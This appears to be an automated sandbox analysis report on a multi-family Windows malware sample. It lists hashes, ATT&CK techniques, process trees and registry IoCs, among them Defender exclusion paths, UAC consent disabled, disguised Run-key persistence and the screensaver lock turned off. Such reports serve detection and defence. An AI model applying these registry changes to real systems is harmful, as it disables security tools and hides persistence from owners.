d00f0f9de97a6031c44494a08a8da9f0e8b35ecd0afc65515992a911159ff901

Analysis

max time kernel
144s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/11/2026, 10:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
Size 38.9MB
Sample261102-mryqesbs8j
SHA256 d00f0f9de97a6031c44494a08a8da9f0e8b35ecd0afc65515992a911159ff901
MD5 b8a8cfd5ad964db072b5c51fdfbb6257
SHA1 d61c56edf9ef7e099e06bdd0bb880b5e21696844
SHA512 44202ae3a24f22074529e183c29fb62880649490d61cb73715232cfbec61d2e9ca3eb7336688df3b433f6b6d5f540b1846e020b78cf4b5992739c60bec87175a
SSDEEP 49152:qPnycXVTyTyg5tJyNZ/W/hNbo1iTl8ZFPnMBwbePbgF+VS5sb5m+cZ2lyn0wgsXu:q6chqTShW/hNbSiQfMJPLmrUlsu
TLSH
T1B697D69FBF81DE82F957D23498A75B602336D9B40BF1C307125427206F9F2998EE25D8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	CgGxSm.exe

Windows security bypass 2 TTPs 10 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\nwbyoe = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\CgGxSm = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe

Detects executables calling ClearMyTracksByProcess 1 IoCs

resource	yara_rule
behavioral1/memory/628-690-0x0000000010000000-0x0000000010061000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ClearMyTracksByProcess

Detects executables containing artifacts associated with disabling Widnows Defender 8 IoCs

resource	yara_rule
behavioral1/memory/628-673-0x0000000003270000-0x0000000003A4D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/628-677-0x0000000003270000-0x0000000003A4D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/628-692-0x0000000003270000-0x0000000003A4D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/628-717-0x0000000003270000-0x0000000003A4D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4968-732-0x00000000035A0000-0x0000000003D7D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/628-736-0x0000000003270000-0x0000000003A4D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/2456-774-0x00000000036E0000-0x0000000003EBD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/1684-793-0x00000000034C0000-0x0000000003C9D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4724	powershell.exe
2328	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	CgGxSm.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
3424	icacls.exe
2928	icacls.exe
4212	icacls.exe
4228	icacls.exe
4564	icacls.exe
3840	icacls.exe
956	takeown.exe
2172	icacls.exe
3968	takeown.exe
2832	icacls.exe
2068	icacls.exe
4704	icacls.exe
4200	icacls.exe
736	icacls.exe
1312	icacls.exe
3100	icacls.exe
4792	icacls.exe
2408	icacls.exe
2728	icacls.exe
1036	icacls.exe
2584	icacls.exe
1464	icacls.exe
3460	icacls.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\International\Geo\Nation	vuzfTH.exe
Key value queried	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\International\Geo\Nation	CgGxSm.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 8 IoCs

pid	Process
2944	vuzfTH.exe
1408	vuzfTH.exe
628	CgGxSm.exe
4420	CgGxSm.exe
4648	CgGxSm.exe
4968	eab411Lb.exe
2456	eab411Lb.exe
1684	CgGxSm.exe

Loads dropped DLL 8 IoCs

pid	Process
2944	vuzfTH.exe
1408	vuzfTH.exe
628	CgGxSm.exe
4648	CgGxSm.exe
4420	CgGxSm.exe
4968	eab411Lb.exe
2456	eab411Lb.exe
1684	CgGxSm.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4704	icacls.exe
3968	takeown.exe
3100	icacls.exe
3840	icacls.exe
4792	icacls.exe
1312	icacls.exe
1464	icacls.exe
3424	icacls.exe
2728	icacls.exe
4200	icacls.exe
2928	icacls.exe
2832	icacls.exe
956	takeown.exe
1036	icacls.exe
3460	icacls.exe
2068	icacls.exe
2584	icacls.exe
4212	icacls.exe
2172	icacls.exe
736	icacls.exe
4228	icacls.exe
4564	icacls.exe
2408	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\nwbyoe\\vuzfTH.exe\""	vuzfTH.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\CgGxSm\\CgGxSm.exe\""	CgGxSm.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
532	cmd.exe
5004	cmd.exe
3628	cmd.exe
1020	cmd.exe
4376	cmd.exe
712	cmd.exe
3920	cmd.exe
436	cmd.exe
1580	cmd.exe
652	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	vuzfTH.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\N2LfQHYAO\image.png	CgGxSm.exe
File opened for modification	C:\Program Files (x86)\N2LfQHYAO\image.png	CgGxSm.exe
File opened for modification	C:\Program Files (x86)\CgGxSm\thumbs.db	vuzfTH.exe
File opened for modification	C:\Program Files (x86)\N2LfQHYAO	CgGxSm.exe
File created	C:\Program Files (x86)\N2LfQHYAO\eab411Lb.exe	CgGxSm.exe
File created	C:\Program Files (x86)\N2LfQHYAO\XPSPLOG.dll	CgGxSm.exe
File created	C:\Program Files (x86)\CgGxSm\CgGxSm.exe	vuzfTH.exe
File created	C:\Program Files (x86)\CgGxSm\image.png	vuzfTH.exe
File created	C:\Program Files (x86)\CgGxSm\thumbs.db	vuzfTH.exe
File opened for modification	C:\Program Files (x86)\CgGxSm\CgGxSm.exe	vuzfTH.exe
File opened for modification	C:\Program Files (x86)\N2LfQHYAO\eab411Lb.exe	CgGxSm.exe
File opened for modification	C:\Program Files (x86)\CgGxSm	vuzfTH.exe
File created	C:\Program Files (x86)\CgGxSm\XPSPLOG.dll	vuzfTH.exe
File opened for modification	C:\Program Files (x86)\CgGxSm\image.png	vuzfTH.exe
File created	C:\Program Files (x86)\N2LfQHYAO\thumbs.db	CgGxSm.exe
File opened for modification	C:\Program Files (x86)\N2LfQHYAO\thumbs.db	CgGxSm.exe
File opened for modification	C:\Program Files (x86)\N2LfQHYAO\XPSPLOG.dll	CgGxSm.exe
File opened for modification	C:\Program Files (x86)\CgGxSm\XPSPLOG.dll	vuzfTH.exe

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	CgGxSm.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
664	sc.exe
2604	sc.exe
4616	sc.exe
1940	sc.exe
2128	sc.exe
784	sc.exe
3680	sc.exe
2240	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\ScreenSaveActive = "0"	CgGxSm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	CgGxSm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\SCRNSAVE.EXE	CgGxSm.exe

Executes a command shell one-liner 1 TTPs 25 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3496	cmd.exe
1516	cmd.exe
1288	cmd.exe
4268	cmd.exe
2244	cmd.exe
2812	cmd.exe
204	cmd.exe
2984	cmd.exe
1184	cmd.exe
4392	cmd.exe
1328	cmd.exe
1584	cmd.exe
4300	cmd.exe
2216	cmd.exe
2212	cmd.exe
2464	cmd.exe
2968	cmd.exe
4516	cmd.exe
4592	cmd.exe
3876	cmd.exe
4920	cmd.exe
5056	cmd.exe
3336	cmd.exe
412	cmd.exe
448	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	vuzfTH.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	vuzfTH.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	CgGxSm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	CgGxSm.exe

System Location Discovery: System Language Discovery 1 TTPs 63 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CgGxSm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CgGxSm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CgGxSm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CgGxSm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eab411Lb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eab411Lb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	CgGxSm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	CgGxSm.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\ScreenSaveActive = "0"	CgGxSm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	CgGxSm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	CgGxSm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\SCRNSAVE.EXE	CgGxSm.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3324	schtasks.exe
4296	schtasks.exe
4088	schtasks.exe
4160	schtasks.exe
2248	schtasks.exe
4856	schtasks.exe
2408	schtasks.exe
1620	schtasks.exe
1312	schtasks.exe
2292	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2240	2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe
2944	vuzfTH.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2328	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2944 wrote to memory of 652	2944	vuzfTH.exe	95
PID 652 wrote to memory of 2292	652	cmd.exe	97
PID 652 wrote to memory of 4592	652	cmd.exe	98
PID 652 wrote to memory of 1084	652	cmd.exe	101
PID 3336 wrote to memory of 2348	3336	cmd.exe	102
PID 2944 wrote to memory of 532	2944	vuzfTH.exe	105
PID 2944 wrote to memory of 4376	2944	vuzfTH.exe	107
PID 532 wrote to memory of 4088	532	cmd.exe	109
PID 4376 wrote to memory of 4160	4376	cmd.exe	111
PID 532 wrote to memory of 1164	532	cmd.exe	112
PID 4376 wrote to memory of 3756	4376	cmd.exe	115
PID 532 wrote to memory of 936	532	cmd.exe	116
PID 4376 wrote to memory of 4276	4376	cmd.exe	117
PID 2944 wrote to memory of 5004	2944	vuzfTH.exe	118
PID 5004 wrote to memory of 2248	5004	cmd.exe	121
PID 2944 wrote to memory of 712	2944	vuzfTH.exe	122
PID 5004 wrote to memory of 204	5004	cmd.exe	124
PID 5004 wrote to memory of 1296	5004	cmd.exe	126
PID 712 wrote to memory of 4856	712	cmd.exe	127
PID 712 wrote to memory of 2788	712	cmd.exe	128
PID 712 wrote to memory of 2408	712	cmd.exe	130
PID 4392 wrote to memory of 3468	4392	cmd.exe	133
PID 1328 wrote to memory of 4268	1328	cmd.exe	134
PID 1584 wrote to memory of 4732	1584	cmd.exe	135
PID 2944 wrote to memory of 628	2944	vuzfTH.exe	136
PID 628 wrote to memory of 3496	628	CgGxSm.exe	139
PID 628 wrote to memory of 4300	628	CgGxSm.exe	141
PID 628 wrote to memory of 412	628	CgGxSm.exe	143
PID 4300 wrote to memory of 4228	4300	cmd.exe	147
PID 628 wrote to memory of 1516	628	CgGxSm.exe	149
PID 1516 wrote to memory of 2928	1516	cmd.exe	151
PID 628 wrote to memory of 2216	628	CgGxSm.exe	152
PID 2216 wrote to memory of 3460	2216	cmd.exe	154
PID 628 wrote to memory of 2212	628	CgGxSm.exe	155
PID 2212 wrote to memory of 3100	2212	cmd.exe	157
PID 628 wrote to memory of 1288	628	CgGxSm.exe	158
PID 1288 wrote to memory of 3840	1288	cmd.exe	160
PID 628 wrote to memory of 204	628	CgGxSm.exe	161
PID 204 wrote to memory of 4564	204	cmd.exe	163
PID 628 wrote to memory of 2984	628	CgGxSm.exe	164
PID 2984 wrote to memory of 2408	2984	cmd.exe	166
PID 628 wrote to memory of 1184	628	CgGxSm.exe	167
PID 1184 wrote to memory of 2068	1184	cmd.exe	169
PID 628 wrote to memory of 4268	628	CgGxSm.exe	170
PID 4268 wrote to memory of 4792	4268	cmd.exe	172
PID 628 wrote to memory of 2464	628	CgGxSm.exe	173
PID 2464 wrote to memory of 2832	2464	cmd.exe	175
PID 628 wrote to memory of 2244	628	CgGxSm.exe	176
PID 2244 wrote to memory of 4704	2244	cmd.exe	178
PID 628 wrote to memory of 2812	628	CgGxSm.exe	179
PID 2812 wrote to memory of 1312	2812	cmd.exe	181
PID 628 wrote to memory of 2968	628	CgGxSm.exe	182
PID 2968 wrote to memory of 2584	2968	cmd.exe	184
PID 628 wrote to memory of 4516	628	CgGxSm.exe	185
PID 4516 wrote to memory of 4212	4516	cmd.exe	187
PID 628 wrote to memory of 448	628	CgGxSm.exe	188
PID 448 wrote to memory of 1464	448	cmd.exe	190
PID 628 wrote to memory of 2328	628	CgGxSm.exe	191
PID 628 wrote to memory of 3920	628	CgGxSm.exe	193
PID 628 wrote to memory of 4592	628	CgGxSm.exe	195
